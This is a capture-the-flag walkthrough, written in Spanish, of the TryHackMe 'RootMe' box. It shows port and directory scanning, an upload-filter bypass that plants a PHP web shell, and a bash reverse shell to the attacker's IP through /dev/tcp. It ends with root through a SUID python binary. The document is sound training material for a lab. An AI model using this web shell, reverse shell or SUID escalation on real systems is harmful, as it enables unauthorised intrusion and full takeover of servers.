# RootMe (SUID PYTHON)

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
|_  256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


```

Buscaremos diretorios:

```
gobuster dir -u 10.10.34.175 -w /opt/SecLists/Discovery/Web-Content/common.txt
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FjqMVoJhvzCBiYkSa3ne7%2Fimage.png?alt=media&#x26;token=a52cc779-60f4-439a-948c-22db4d2cf6f2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FEQReRPLeWIlabPbcCHXz%2Fimage.png?alt=media&#x26;token=72bc37da-61d6-428f-a4d4-c86636868872" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F9Gv7Qv6ftY6evUZPxtcL%2Fimage.png?alt=media&#x26;token=6b3d52a5-206f-4722-8194-b8f445ce7a36" alt=""><figcaption></figcaption></figure>

Ahora intentaremos colar un php pero no nos deja para ello le agregamos un php5 y puede ser otros mas php4 etc...

```
└─$ cat mira.php5 
<?php
system($_REQUEST['cmd']);
?>
```

Lo subimos y se agrego exitosamente y podemos agregar comandos&#x20;

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FQge6riqvTFISjx9BVija%2Fimage.png?alt=media&#x26;token=ad82d1c9-6436-4173-a4df-f83c7b86699a" alt=""><figcaption></figcaption></figure>

Ahora nos daremos una revershell

Cualquiera:

```
http://10.10.88.85/uploads/mira.php5?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.9.0.60/443+0>%261"
```

```
Q 10.10.88.85/uploads/mira.php5?cmd=bash -c "bash -i>%26/dev/tcp/10.18.79.45/443 0>%261"
```

```
┌──(docker㉿docker)-[~/Tryhackme]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.9.0.60] from (UNKNOWN) [10.10.34.175] 43918
bash: cannot set terminal process group (925): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ ls
```

Cuando es www data tenemos que tratar que sea una tty para tener algo mas interactivo

```
script /dev/null -c bash
```

```
ctr + z 
stty raw -echo; fg 
reset xterm
```

```
*ESCALANDO BUSCANDO PERMISOS SUID SE ENCONTRO UN /usr/bin/python

www-data@rootme:/var/www$ find / -perm -4000 2>/dev/null | grep -i -v snap                                                                                                                                         
/usr/lib/dbus-1.0/dbus-daemon-launch-helper                                                                                                                                                                        
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic                                                                                                                                                                         
/usr/lib/eject/dmcrypt-get-device                                                                                                                                                                                  
/usr/lib/openssh/ssh-keysign                                                                                                                                                                                       
/usr/lib/policykit-1/polkit-agent-helper-1                                                                                                                                                                         
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
www-data@rootme:/var/www$ 
```

Con este comando explotanto el SUID python tendriamos root:

```
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

```
# ls
html  user.txt
# script /dev/null -c bash
Script started, file is /dev/null
www-data@rootme:/var/www$ 
```

Lo que hace este comando es darnos algo mas interectivo el root: `script /dev/null -c bash`
